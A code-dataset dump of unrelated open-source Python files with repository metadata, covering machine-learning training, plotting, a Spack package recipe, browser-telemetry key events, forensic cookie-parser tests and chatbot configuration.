tmp_saver.restore(sess, 'exp/%s/snapshot' % tmp_model)
if opt.predict == '':
splits = [s for s in ['train', 'valid'] if opt.iters[s] > 0]
start_round = opt.last_round - opt.num_rounds
# Main training loop
for round_idx in range(start_round, opt.last_round):
for split in splits:
print("Round %d: %s" % (round_idx, split))
loader.start_epoch(sess, split, train_flag, opt.iters[split] * opt.batchsize)
flag_val = split == 'train'
for step in tqdm(range(opt.iters[split]), ascii=True):
global_step = step + round_idx * opt.iters[split]
to_run = [sample_idx, summaries[split], loss, accuracy]
if split == 'train': to_run += [optim]
# Do image summaries at the end of each round
do_image_summary = step == opt.iters[split] - 1
if do_image_summary: to_run[1] = image_summaries[split]
# Start with lower learning rate to prevent early divergence
t = 1/(1+np.exp(-(global_step-5000)/1000))
lr_start = opt.learning_rate / 15
lr_end = opt.learning_rate
tmp_lr = (1-t) * lr_start + t * lr_end
# Run computation graph
result = sess.run(to_run, feed_dict={train_flag:flag_val, lr:tmp_lr})
out_loss = result[2]
if sum(out_loss) > 1e5:
print("Loss diverging...exiting before code freezes due to NaN values.")
print("If this continues you may need to try a lower learning rate, a")
print("different optimizer, or a larger batch size.")
return
# Log data
if split == 'valid' or (split == 'train' and step % 20 == 0) or do_image_summary:
writer.add_summary(result[1], global_step)
writer.flush()
# Save training snapshot
saver.save(sess, 'exp/' + opt.exp_id + '/snapshot')
with open('exp/' + opt.exp_id + '/last_round', 'w') as f:
f.write('%d\n' % round_idx)
else:
# Generate predictions
num_samples = opt.iters['valid'] * opt.batchsize
split = opt.predict
idxs = opt.idx_ref[split]
num_samples = idxs.shape[0]
pred_dims = {k:[int(d) for d in pred[k].shape[1:]] for k in pred}
final_preds = {k:np.zeros((num_samples, *pred_dims[k])) for k in pred}
idx_ref = np.zeros(num_samples)
flag_val = False
print("Generating predictions...")
loader.start_epoch(sess, split, train_flag, num_samples, flag_val=flag_val, in_order=True)
for step in tqdm(range(num_samples // opt.batchsize), ascii='True'):
tmp_idx, tmp_pred = sess.run([sample_idx, pred], feed_dict={train_flag:flag_val})
i_ = [(step + i)*opt.batchsize for i in range(2)]
idx_ref[i_[0]:i_[1]] = tmp_idx.flatten()
for k,v in tmp_pred.items(): final_preds[k][i_[0]:i_[1]] = v
with h5py.File('exp/%s/%s_preds.h5' % (opt.exp_id, split), 'w') as f:
f['idx'] = idx_ref.astype(int)
for k,v in final_preds.items(): f[k] = v
if __name__ == '__main__':
main()
| 41.692913 | 101 | 0.580737 |
795c18bd89a16c2e5d1e0a1bb03ebee6262449fb | 427 | py | Python | plotly/validators/pie/_hovertext.py | faezs/plotly.py | 6009b5b9c746e5d2a2849ad255a4eb234b551ed7 | [
"MIT"
] | 2 | 2020-03-24T11:41:14.000Z | 2021-01-14T07:59:43.000Z | plotly/validators/pie/_hovertext.py | faezs/plotly.py | 6009b5b9c746e5d2a2849ad255a4eb234b551ed7 | [
"MIT"
] | null | null | null | plotly/validators/pie/_hovertext.py | faezs/plotly.py | 6009b5b9c746e5d2a2849ad255a4eb234b551ed7 | [
"MIT"
] | 4 | 2019-06-03T14:49:12.000Z | 2022-01-06T01:05:12.000Z | import _plotly_utils.basevalidators
class HovertextValidator(_plotly_utils.basevalidators.StringValidator):
def __init__(self, plotly_name='hovertext', parent_name='pie', **kwargs):
super(HovertextValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
array_ok=True,
edit_type='style',
role='info',
**kwargs
)
| 28.466667 | 77 | 0.637002 |
795c18e84effecfa19ef25998e85b4b557801387 | 307 | py | Python | S4/S4 Library/simulation/routing/walkstyle/walkstyle_enums.py | NeonOcean/Environment | ca658cf66e8fd6866c22a4a0136d415705b36d26 | [
"CC-BY-4.0"
] | 1 | 2021-05-20T19:33:37.000Z | 2021-05-20T19:33:37.000Z | S4/S4 Library/simulation/routing/walkstyle/walkstyle_enums.py | NeonOcean/Environment | ca658cf66e8fd6866c22a4a0136d415705b36d26 | [
"CC-BY-4.0"
] | null | null | null | S4/S4 Library/simulation/routing/walkstyle/walkstyle_enums.py | NeonOcean/Environment | ca658cf66e8fd6866c22a4a0136d415705b36d26 | [
"CC-BY-4.0"
] | null | null | null | import enum
from sims4.tuning.dynamic_enum import DynamicEnum
class WalkStyleRunAllowedFlags(enum.IntFlags):
RUN_ALLOWED_INDOORS = 1
RUN_ALLOWED_OUTDOORS = 2
class WalkstyleBehaviorOverridePriority(DynamicEnum):
DEFAULT = 0
class WalkStylePriority(DynamicEnum):
INVALID = 0
COMBO = 1
| 21.928571 | 53 | 0.781759 |
795c1a2bd0c918d0de31e88202b8f7d13d231868 | 5,579 | py | Python | Previous_State_On_Repo/Present/Character_Recognition_Hindi_Tamil_rnnlib/LSTM_for_character_recognition/Student/combine.py | rohun-tripati/pythonRepo | 91a7d536f7be05adc15e4d5add0a8a4a08c28c62 | [
"Unlicense"
] | 1 | 2018-06-25T19:20:48.000Z | 2018-06-25T19:20:48.000Z | Previous_State_On_Repo/Present/Character_Recognition_Hindi_Tamil_rnnlib/LSTM_for_character_recognition/Student/combine.py | rohun-tripati/pythonRepo | 91a7d536f7be05adc15e4d5add0a8a4a08c28c62 | [
"Unlicense"
] | null | null | null | Previous_State_On_Repo/Present/Character_Recognition_Hindi_Tamil_rnnlib/LSTM_for_character_recognition/Student/combine.py | rohun-tripati/pythonRepo | 91a7d536f7be05adc15e4d5add0a8a4a08c28c62 | [
"Unlicense"
] | null | null | null | #!/usr/bin/env python
import netcdf_helpers
from scipy import *
from optparse import OptionParser
import sys, time
import os
from xml.dom.minidom import parse
from os import walk
def location(path, function):
datapath = path + "word_samples/" + function + "/"
labelpath = path + "Label/" + function + "/"
return labelpath, datapath
debug = False
#command line options
parser = OptionParser()
#parse command line options
(options, args) = parser.parse_args()
if (len(args)<1):
print "usage: Test/Train/Val"
sys.exit(2)
function = args [0]
if not function in ["Test", "Train", "Val"]:
print "usage: Test/Train/Val"
sys.exit(2)
ncFilename = "combine" + function + ".nc"
path = "/home/riot/Videos/Student/"
topdir = []
for (dirpath, dirnames, filenames) in walk(path):
topdir.extend(dirnames)
break
if debug == True: print topdir
#later
# inputMeans = array([1054.11664783, 1455.79299719, 0.0196859027344])
# inputStds = array([413.688579765, 643.506710495, 0.138918565959])
labels = set(['BA', 'DH', 'YA', 'DA', 'FA', 'JH', 'DW', 'HA', 'JA', 'DQ', 'LA', 'PZ', 'NA', 'TR', 'NZ', 'PA', 'RA', 'TH', 'LZ', 'TA', 'VA', 'CH', 'AE', 'EA', 'OM', 'CZ', 'EX', 'GA', 'KZ', 'AY', 'AX', 'SZ', 'KA', 'MA', 'UX', 'KH', 'OA', 'QA', 'SH', 'OX', 'QH', 'SA', 'UA', 'SE', 'MZ'])
seqDims = []
seqLengths = []
targetStrings = []
wordTargetStrings = []
seqTags = []
inputs = []
NoLabel = []
NoLabcnt = 0
#Now for inside each folder
#For now I have two sets. The first-> function = train and second function = test. Later we can add more for val and so on
for folder in topdir[0:1]:
pathtemp = path + str(folder) + "/"
labelpath, datapath = location(pathtemp, function)
if debug == True: print labelpath, datapath
#Now in this folder we have word_samples and Label
#We want to enter both together
f = []
for (dirpath, dirnames, filenames) in walk(datapath):
f.extend(filenames)
break
if debug == True: print f
for index, k in enumerate(f):
data = datapath + k
label = labelpath + k.strip(".pbm") + ".lab" #Converting the name to account for the correct format
onefile = k
print onefile #This will always be printed, just to check the working and how far it got
#Here is the code to extract the correct word and target strings for the word
word = ""; wordmod = None
for line in open(label).readlines():
wordmod = line.strip()
chars = line.split()
if wordmod != "":
for char in chars:
#labels.add( char.strip() )
word += char.strip()
break
#There is a break here because only first line with info is to be considered
else:
print "There is a file for which the label entry is 0, that is - ", onefile
print line
print chars
if word == "":
NoLabel.append(onefile)
NoLabcnt += 1
continue
#These are real problem cases
#they are appended here as they have to be done for each stroke file
seqTags.append(onefile) #appending to seqtags
wordTargetStrings.append(wordmod[:]) #For the instance in June4
targetStrings.append(wordmod[:])
firstlinechk = 0;
#to make the first points have output 1.0 instead of 0.0
oldlen = len(inputs)
thirdval = 0.0
for line in file(data).readlines():
line= line.strip()
coor = line.split()
if debug == True : print line
if len(coor) < 3:
continue
#The only way I know of dealing with trailing empty lines at the end :P
if firstlinechk == 0:
inputs.append([float(coor[0]), float(coor[1]), 1])
if debug == True : print "inputted : ", float(coor[0]), float(coor[1]), 1
firstlinechk = 1
else:
inputs.append([float(coor[0]), float(coor[1]), 0])
if debug == True : print "inputted : ", float(coor[0]), float(coor[1]), 0
if int (coor[2]) == 0:
firstlinechk = 0
seqLengths.append(len(inputs) - oldlen)
seqDims.append([seqLengths[-1]])
if debug == True: print "Input = " , inputs, "\n\n\n\n"
if debug == True: print "Sequence lengths ", [seqLengths[-1]], "\n"
if debug == True: print "wordTargetStrings == ", wordTargetStrings
if debug == True: print "\n\n One iteration is over, check it out\n\n"
if debug == True: break
##and this is the point it shud stop inside the folder
#Later
#inputs = ((array(inputs)-inputMeans)/inputStds).tolist()
# print len(labels), labels
#create a new .nc file
file = netcdf_helpers.NetCDFFile(ncFilename, 'w')
#create the dimensions
netcdf_helpers.createNcDim(file,'numSeqs',len(seqLengths))
netcdf_helpers.createNcDim(file,'numTimesteps',len(inputs))
netcdf_helpers.createNcDim(file,'inputPattSize',len(inputs[0]))
netcdf_helpers.createNcDim(file,'numDims',1)
netcdf_helpers.createNcDim(file,'numLabels',len(labels))
#create the variables
netcdf_helpers.createNcStrings(file,'seqTags',seqTags,('numSeqs','maxSeqTagLength'),'sequence tags')
netcdf_helpers.createNcStrings(file,'labels',labels,('numLabels','maxLabelLength'),'labels')
netcdf_helpers.createNcStrings(file,'targetStrings',targetStrings,('numSeqs','maxTargStringLength'),'target strings')
netcdf_helpers.createNcStrings(file,'wordTargetStrings',wordTargetStrings,('numSeqs','maxWordTargStringLength'),'word target strings')
netcdf_helpers.createNcVar(file,'seqLengths',seqLengths,'i',('numSeqs',),'sequence lengths')
netcdf_helpers.createNcVar(file,'seqDims',seqDims,'i',('numSeqs','numDims'),'sequence dimensions')
netcdf_helpers.createNcVar(file,'inputs',inputs,'f',('numTimesteps','inputPattSize'),'input patterns')
#write the data to disk
print "closing file", ncFilename
file.close()
print "NoLabel == ", NoLabel
print "NoLabcnt == ", NoLabcnt | 32.625731 | 285 | 0.68256 |
795c1a3128682e2dc560d1f33927a5c34650d9cd | 3,646 | py | Python | telemetry/telemetry/internal/actions/key_event.py | Martijnve23/catapult | 5c63b19d221af6a12889e8727acc85d93892cab7 | [
"BSD-3-Clause"
] | 1,894 | 2015-04-17T18:29:53.000Z | 2022-03-28T22:41:06.000Z | telemetry/telemetry/internal/actions/key_event.py | Martijnve23/catapult | 5c63b19d221af6a12889e8727acc85d93892cab7 | [
"BSD-3-Clause"
] | 4,640 | 2015-07-08T16:19:08.000Z | 2019-12-02T15:01:27.000Z | telemetry/telemetry/internal/actions/key_event.py | Martijnve23/catapult | 5c63b19d221af6a12889e8727acc85d93892cab7 | [
"BSD-3-Clause"
] | 698 | 2015-06-02T19:18:35.000Z | 2022-03-29T16:57:15.000Z | # Copyright 2016 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
from __future__ import absolute_import
import string
from telemetry.internal.actions import page_action
# Map from DOM key values
# (https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/key) to
# Windows virtual key codes
# (https://cs.chromium.org/chromium/src/third_party/WebKit/Source/platform/WindowsKeyboardCodes.h)
# and their printed representations (if available).
_KEY_MAP = {}
def _AddSpecialKey(key, windows_virtual_key_code, text=None):
assert key not in _KEY_MAP, 'Duplicate key: %s' % key
_KEY_MAP[key] = (windows_virtual_key_code, text)
def _AddRegularKey(keys, windows_virtual_key_code):
for k in keys:
assert k not in _KEY_MAP, 'Duplicate key: %s' % k
_KEY_MAP[k] = (windows_virtual_key_code, k)
def GetKey(key_name):
return _KEY_MAP.get(key_name)
_AddSpecialKey('PageUp', 0x21)
_AddSpecialKey('PageDown', 0x22)
_AddSpecialKey('End', 0x23)
_AddSpecialKey('Home', 0x24)
_AddSpecialKey('ArrowLeft', 0x25)
_AddSpecialKey('ArrowUp', 0x26)
_AddSpecialKey('ArrowRight', 0x27)
_AddSpecialKey('ArrowDown', 0x28)
_AddSpecialKey('Esc', 0x1B)
_AddSpecialKey('Return', 0x0D, text='\x0D')
_AddSpecialKey('Delete', 0x2E, text='\x7F')
_AddSpecialKey('Backspace', 0x08, text='\x08')
_AddSpecialKey('Tab', 0x09, text='\x09')
# Letter keys.
for c in string.ascii_uppercase:
_AddRegularKey([c, c.lower()], ord(c))
# Symbol keys.
_AddRegularKey(';:', 0xBA)
_AddRegularKey('=+', 0xBB)
_AddRegularKey(',<', 0xBC)
_AddRegularKey('-_', 0xBD)
_AddRegularKey('.>', 0xBE)
_AddRegularKey('/?', 0xBF)
_AddRegularKey('`~', 0xC0)
_AddRegularKey('[{', 0xDB)
_AddRegularKey('\\|', 0xDC)
_AddRegularKey(']}', 0xDD)
_AddRegularKey('\'"', 0xDE)
# Numeric keys.
_AddRegularKey('0)', 0x30)
_AddRegularKey('1!', 0x31)
_AddRegularKey('2@', 0x32)
_AddRegularKey('3#', 0x33)
_AddRegularKey('4$', 0x34)
_AddRegularKey('5%', 0x35)
_AddRegularKey('6^', 0x36)
_AddRegularKey('7&', 0x37)
_AddRegularKey('8*', 0x38)
_AddRegularKey('9(', 0x39)
# Space.
_AddRegularKey(' ', 0x20)
class KeyPressAction(page_action.PageAction):
def __init__(self, dom_key, timeout=page_action.DEFAULT_TIMEOUT):
super(KeyPressAction, self).__init__(timeout=timeout)
char_code = 0 if len(dom_key) > 1 else ord(dom_key)
self._dom_key = dom_key
# Check that ascii chars are allowed.
use_key_map = len(dom_key) > 1 or char_code < 128
if use_key_map and dom_key not in _KEY_MAP:
raise ValueError('No mapping for key: %s (code=%s)' % (
dom_key, char_code))
self._windows_virtual_key_code, self._text = _KEY_MAP.get(
dom_key, ('', dom_key))
def RunAction(self, tab):
# Note that this action does not handle self.timeout properly. Since each
# command gets the whole timeout, the PageAction can potentially
# take three times as long as it should.
tab.DispatchKeyEvent(
key_event_type='rawKeyDown',
dom_key=self._dom_key,
windows_virtual_key_code=self._windows_virtual_key_code,
timeout=self.timeout)
if self._text:
tab.DispatchKeyEvent(
key_event_type='char',
text=self._text,
dom_key=self._dom_key,
windows_virtual_key_code=ord(self._text),
timeout=self.timeout)
tab.DispatchKeyEvent(
key_event_type='keyUp',
dom_key=self._dom_key,
windows_virtual_key_code=self._windows_virtual_key_code,
timeout=self.timeout)
def __str__(self):
return "%s('%s')" % (self.__class__.__name__, self._dom_key)
| 31.431034 | 98 | 0.713385 |
795c1af440bd7b6ea259fa01ff799e7878e66728 | 2,673 | py | Python | var/spack/repos/builtin/packages/py-petsc4py/package.py | vreshniak/spack-xsdk | b2da85f9309e38082db6b35a79028734ae5e0e96 | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | null | null | null | var/spack/repos/builtin/packages/py-petsc4py/package.py | vreshniak/spack-xsdk | b2da85f9309e38082db6b35a79028734ae5e0e96 | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | null | null | null | var/spack/repos/builtin/packages/py-petsc4py/package.py | vreshniak/spack-xsdk | b2da85f9309e38082db6b35a79028734ae5e0e96 | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | null | null | null | # Copyright 2013-2020 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class PyPetsc4py(PythonPackage):
"""This package provides Python bindings for the PETSc package.
"""
homepage = "https://gitlab.com/petsc/petsc4py"
url = "https://gitlab.com/petsc/petsc4py/-/archive/3.13.0/petsc4py-3.13.0.tar.gz"
git = "https://gitlab.com/petsc/petsc4py.git"
maintainers = ['dalcinl', 'balay']
version('develop', branch='master')
version('3.14.0', branch='master')
version('3.13.0', sha256='0e11679353c0c2938336a3c8d1a439b853e20d3bccd7d614ad1dbea3ec5cb31f')
version('3.12.0', sha256='4c94a1dbbf244b249436b266ac5fa4e67080d205420805deab5ec162b979df8d')
version('3.11.0', sha256='ec114b303aadaee032c248a02021e940e43c6437647af0322d95354e6f2c06ad')
version('3.10.1', sha256='11b59693af0e2067f029924dd6b5220f7a7ec00089f6e2c2361332d6123ea6f7')
version('3.10.0', sha256='4e58b9e7d4343adcf905751261b789c8c3489496f8de5c3fc3844664ef5ec5a3')
version('3.9.1', sha256='8b7f56e0904c57cca08d1c24a1d8151d1554f06c9c5a31b16fb6db3bc928bbd8')
version('3.9.0', sha256='ae077dffd455014de16b6ed4ba014ac9e10227dc6b93f919a4229e8e1c870aec')
version('3.8.1', sha256='f6260a52dab02247f5b8d686a0587441b1a2048dff52263f1db42e75d2e3f330')
version('3.8.0', sha256='3445da12becf23ade4d40cdd04c746581982ab6a27f55fbb5cd29bc5560df4b1')
version('3.7.0', sha256='c04931a5ba3fd7c8c8d165aa7908688921ce3cf4cf8725d0cba73380c2107386')
variant('mpi', default=True, description='Activates MPI support')
depends_on('py-cython', type='build', when='@develop')
depends_on('python@2.6:2.8,3.3:', type=('build', 'run'))
depends_on('py-setuptools', type='build')
depends_on('py-numpy', type=('build', 'run'))
depends_on('py-mpi4py', when='+mpi', type=('build', 'run'))
depends_on('petsc+mpi', when='+mpi')
depends_on('petsc~mpi', when='~mpi')
depends_on('petsc@develop', when='@develop')
depends_on('petsc@3.14:3.14.99', when='@3.14:3.14.99')
depends_on('petsc@3.13:3.13.99', when='@3.13:3.13.99')
depends_on('petsc@3.12:3.12.99', when='@3.12:3.12.99')
depends_on('petsc@3.11:3.11.99', when='@3.11:3.11.99')
depends_on('petsc@3.10.3:3.10.99', when='@3.10.1:3.10.99')
depends_on('petsc@3.10:3.10.2', when='@3.10.0')
depends_on('petsc@3.9:3.9.99', when='@3.9:3.9.99')
depends_on('petsc@3.8:3.8.99', when='@3.8:3.8.99')
depends_on('petsc@3.7:3.7.99', when='@3.7:3.7.99')
depends_on('petsc@3.6:3.6.99', when='@3.6:3.6.99')
| 50.433962 | 96 | 0.7052 |
795c1ccee0b54d86fc9aa1961330782631b026f8 | 5,100 | py | Python | tests/parsers/cookie_plugins/ganalytics.py | Defense-Cyber-Crime-Center/plaso | 4f3a85fbea10637c1cdbf0cde9fc539fdcea9c47 | [
"Apache-2.0"
] | 2 | 2016-02-18T12:46:29.000Z | 2022-03-13T03:04:59.000Z | tests/parsers/cookie_plugins/ganalytics.py | Defense-Cyber-Crime-Center/plaso | 4f3a85fbea10637c1cdbf0cde9fc539fdcea9c47 | [
"Apache-2.0"
] | null | null | null | tests/parsers/cookie_plugins/ganalytics.py | Defense-Cyber-Crime-Center/plaso | 4f3a85fbea10637c1cdbf0cde9fc539fdcea9c47 | [
"Apache-2.0"
] | 6 | 2016-12-18T08:05:36.000Z | 2021-04-06T14:19:11.000Z | #!/usr/bin/python
# -*- coding: utf-8 -*-
"""Tests for the Google Analytics cookies."""
import unittest
from plaso.formatters import ganalytics as _ # pylint: disable=unused-import
from plaso.lib import eventdata
from plaso.lib import timelib
from plaso.parsers.cookie_plugins import ganalytics
from plaso.parsers.sqlite_plugins import chrome_cookies
from plaso.parsers.sqlite_plugins import firefox_cookies
from tests.parsers.sqlite_plugins import test_lib as sqlite_plugins_test_lib
class GoogleAnalyticsPluginTest(sqlite_plugins_test_lib.SQLitePluginTestCase):
"""Tests for the Google Analytics plugin."""
def setUp(self):
"""Sets up the needed objects used throughout the test."""
def _GetAnalyticsCookies(self, event_queue_consumer):
"""Return a list of analytics cookies."""
cookies = []
for event_object in self._GetEventObjectsFromQueue(event_queue_consumer):
if isinstance(event_object, ganalytics.GoogleAnalyticsEvent):
cookies.append(event_object)
return cookies
def testParsingFirefox29CookieDatabase(self):
"""Tests the Process function on a Firefox 29 cookie database file."""
plugin = firefox_cookies.FirefoxCookiePlugin()
test_file = self._GetTestFilePath([u'firefox_cookies.sqlite'])
event_queue_consumer = self._ParseDatabaseFileWithPlugin(plugin, test_file)
event_objects = self._GetAnalyticsCookies(event_queue_consumer)
self.assertEqual(len(event_objects), 25)
event_object = event_objects[14]
self.assertEqual(
event_object.utmcct,
u'/frettir/erlent/2013/10/30/maelt_med_kerfisbundnum_hydingum/')
expected_timestamp = timelib.Timestamp.CopyFromString(
u'2013-10-30 21:56:06')
self.assertEqual(event_object.timestamp, expected_timestamp)
self.assertEqual(event_object.url, u'http://ads.aha.is/')
self.assertEqual(event_object.utmcsr, u'mbl.is')
expected_msg = (
u'http://ads.aha.is/ (__utmz) Sessions: 1 Domain Hash: 137167072 '
u'Sources: 1 Last source used to access: mbl.is Ad campaign '
u'information: (referral) Last type of visit: referral Path to '
u'the page of referring link: /frettir/erlent/2013/10/30/'
u'maelt_med_kerfisbundnum_hydingum/')
self._TestGetMessageStrings(
event_object, expected_msg, u'http://ads.aha.is/ (__utmz)')
def testParsingChromeCookieDatabase(self):
"""Test the process function on a Chrome cookie database."""
plugin = chrome_cookies.ChromeCookiePlugin()
test_file = self._GetTestFilePath([u'cookies.db'])
event_queue_consumer = self._ParseDatabaseFileWithPlugin(plugin, test_file)
event_objects = self._GetAnalyticsCookies(event_queue_consumer)
# The cookie database contains 560 entries in total. Out of them
# there are 75 events created by the Google Analytics plugin.
self.assertEqual(len(event_objects), 75)
# Check few "random" events to verify.
# Check an UTMZ Google Analytics event.
event_object = event_objects[39]
self.assertEqual(event_object.utmctr, u'enders game')
self.assertEqual(event_object.domain_hash, u'68898382')
self.assertEqual(event_object.sessions, 1)
expected_msg = (
u'http://imdb.com/ (__utmz) Sessions: 1 Domain Hash: 68898382 '
u'Sources: 1 Last source used to access: google Ad campaign '
u'information: (organic) Last type of visit: organic Keywords '
u'used to find site: enders game')
self._TestGetMessageStrings(
event_object, expected_msg, u'http://imdb.com/ (__utmz)')
# Check the UTMA Google Analytics event.
event_object = event_objects[41]
self.assertEqual(event_object.timestamp_desc, u'Analytics Previous Time')
self.assertEqual(event_object.cookie_name, u'__utma')
self.assertEqual(event_object.visitor_id, u'1827102436')
self.assertEqual(event_object.sessions, 2)
expected_timestamp = timelib.Timestamp.CopyFromString(
u'2012-03-22 01:55:29')
self.assertEqual(event_object.timestamp, expected_timestamp)
expected_msg = (
u'http://assets.tumblr.com/ (__utma) '
u'Sessions: 2 '
u'Domain Hash: 151488169 '
u'Visitor ID: 1827102436')
self._TestGetMessageStrings(
event_object, expected_msg, u'http://assets.tumblr.com/ (__utma)')
# Check the UTMB Google Analytics event.
event_object = event_objects[34]
self.assertEqual(
event_object.timestamp_desc, eventdata.EventTimestamp.LAST_VISITED_TIME)
self.assertEqual(event_object.cookie_name, u'__utmb')
self.assertEqual(event_object.domain_hash, u'154523900')
self.assertEqual(event_object.pages_viewed, 1)
expected_timestamp = timelib.Timestamp.CopyFromString(
u'2012-03-22 01:48:30')
self.assertEqual(event_object.timestamp, expected_timestamp)
expected_msg = (
u'http://upressonline.com/ (__utmb) Pages Viewed: 1 Domain Hash: '
u'154523900')
self._TestGetMessageStrings(
event_object, expected_msg, u'http://upressonline.com/ (__utmb)')
if __name__ == '__main__':
unittest.main()
| 40.15748 | 80 | 0.731373 |
795c1ccf77bb6337475c95a4dcf41a41a90bfc3d | 1,850 | py | Python | scripts/plot_comparison_potential.py | rsachetto/MonoAlg3D_C | 082aac09297a1dcc5420f15b378e391ab63a49fc | [
"MIT"
] | 6 | 2018-09-12T12:05:27.000Z | 2022-03-04T14:38:37.000Z | scripts/plot_comparison_potential.py | rsachetto/MonoAlg3D_C | 082aac09297a1dcc5420f15b378e391ab63a49fc | [
"MIT"
] | 13 | 2019-01-16T16:34:49.000Z | 2022-03-23T12:01:08.000Z | scripts/plot_comparison_potential.py | bergolho/MonoAlg3D_C | 4a9ad99a94c7aa047427bbd36cce1a7d8b17d195 | [
"MIT"
] | 2 | 2020-04-28T19:55:48.000Z | 2021-07-26T13:21:06.000Z | import sys
import numpy as np
import matplotlib.pyplot as plt
def read_transmembrane_potential(input_file, dt, print_rate):
data = np.genfromtxt(input_file)
n = len(data)
ms_each_step = dt*print_rate
end_simulation = n / ms_each_step
timesteps = np.arange(0,n)*ms_each_step
vms = data
return timesteps, vms
def plot_transmembrane_potential(t1, v1, t2, v2):
plt.plot(t1, v1, label="Purkinje", c="green", linewidth=1.0)
plt.plot(t2, v2, label="Tissue", c="red", linewidth=1.0)
plt.grid()
#plt.xlim([500,600])
plt.xlabel("t (ms)",fontsize=15)
plt.ylabel("V (mV)",fontsize=15)
plt.title("Action potential",fontsize=14)
plt.legend(loc=0,fontsize=14)
plt.savefig("pmj_site_aps.pdf")
#plt.show()
def main():
if len(sys.argv) != 5:
print("-------------------------------------------------------------------------")
print("Usage:> python %s <input_file_1> <input_file_2> <dt> <print_rate>" % sys.argv[0])
print("-------------------------------------------------------------------------")
print("<input_file_1> = Input file with the AP from the first simulation")
print("<input_file_2> = Input file with the AP from the second simulation")
print("<dt> = Timestep value used for the simulation")
print("<print_rate> = Print rate used for the simulation")
print("-------------------------------------------------------------------------")
return 1
input_file_1 = sys.argv[1]
input_file_2 = sys.argv[2]
dt = float(sys.argv[3])
print_rate = int(sys.argv[4])
t1, vm1 = read_transmembrane_potential(input_file_1,dt,print_rate)
t2, vm2 = read_transmembrane_potential(input_file_2,dt,print_rate)
plot_transmembrane_potential(t1,vm1,t2,vm2)
if __name__ == "__main__":
main()
| 30.833333 | 96 | 0.576216 |
795c1d177529f2228fa41dd5dffa299188f86eab | 3,929 | py | Python | src/programy/config/brain/oobs.py | minhdc/documented-programy | fe947d68c0749201fbe93ee5644d304235d0c626 | [
"MIT"
] | null | null | null | src/programy/config/brain/oobs.py | minhdc/documented-programy | fe947d68c0749201fbe93ee5644d304235d0c626 | [
"MIT"
] | null | null | null | src/programy/config/brain/oobs.py | minhdc/documented-programy | fe947d68c0749201fbe93ee5644d304235d0c626 | [
"MIT"
] | null | null | null | """
Copyright (c) 2016-2018 Keith Sterling http://www.keithsterling.com
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
documentation files (the "Software"), to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,
and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the
Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO
THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
"""
from programy.utils.logging.ylogger import YLogger
from programy.config.section import BaseSectionConfigurationData
from programy.config.brain.oob import BrainOOBConfiguration
class BrainOOBSConfiguration(BaseSectionConfigurationData):
def __init__(self):
BaseSectionConfigurationData.__init__(self, "oob")
self._default = None
self._oobs = {}
def exists(self, name):
if name == 'default':
return bool(self._default is not None)
return bool(name in self._oobs)
def default(self):
return self._default
def oob(self, name):
if name in self._oobs:
return self._oobs[name]
return None
def oobs(self):
return self._oobs.keys()
def load_config_section(self, configuration_file, configuration, bot_root):
oobs = configuration_file.get_section("oob", configuration)
if oobs is not None:
oob_keys = configuration_file.get_keys(oobs)
for name in oob_keys:
oob = BrainOOBConfiguration(name)
oob.load_config_section(configuration_file, oobs, bot_root)
if name == 'default':
self._default = oob
else:
self._oobs[name] = oob
else:
YLogger.warning(self, "Config section [oobs] missing from Brain, no oobs loaded")
def to_yaml(self, data, defaults=True):
if defaults is True:
data['default'] = {'classname': 'programy.oob.default.DefaultOutOfBandProcessor'}
data['alarm'] = {'classname': 'programy.oob.alarm.AlarmOutOfBandProcessor'}
data['camera'] = {'classname': 'programy.oob.camera.CameraOutOfBandProcessor'}
data['clear'] = {'classname': 'programy.oob.clear.ClearOutOfBandProcessor'}
data['dial'] = {'classname': 'programy.oob.dial.DialOutOfBandProcessor'}
data['dialog'] = {'classname': 'programy.oob.dialog.DialogOutOfBandProcessor'}
data['email'] = {'classname': 'programy.oob.email.EmailOutOfBandProcessor'}
data['geomap'] = {'classname': 'programy.oob.map.MapOutOfBandProcessor'}
data['schedule'] = {'classname': 'programy.oob.schedule.ScheduleOutOfBandProcessor'}
data['search'] = {'classname': 'programy.oob.search.SearchOutOfBandProcessor'}
data['sms'] = {'classname': 'programy.oob.sms.SMSOutOfBandProcessor'}
data['url'] = {'classname': 'programy.oob.url.URLOutOfBandProcessor'}
data['wifi'] = {'classname': 'programy.oob.wifi.WifiOutOfBandProcessor'}
else:
if self._default is not None:
self.config_to_yaml(data, self._default, defaults)
for oob in self._oobs:
self.config_to_yaml(data, oob, defaults)
| 48.506173 | 120 | 0.679562 |
795c1d79a83fb7ba31c63d8414ea7f0fe9a6966d | 3,602 | py | Python | fixture/contact.py | marr-py/p_training2 | 2f44a1ab0f950f231865f1f99fcb891336b3374d | [
"Apache-2.0"
] | null | null | null | fixture/contact.py | marr-py/p_training2 | 2f44a1ab0f950f231865f1f99fcb891336b3374d | [
"Apache-2.0"
] | null | null | null | fixture/contact.py | marr-py/p_training2 | 2f44a1ab0f950f231865f1f99fcb891336b3374d | [
"Apache-2.0"
] | null | null | null | from model.contact import Contact
class ContactHelper:
def __init__(self, app):
self.app = app
def add_contact_no_group(self, contact):
# fill contact form
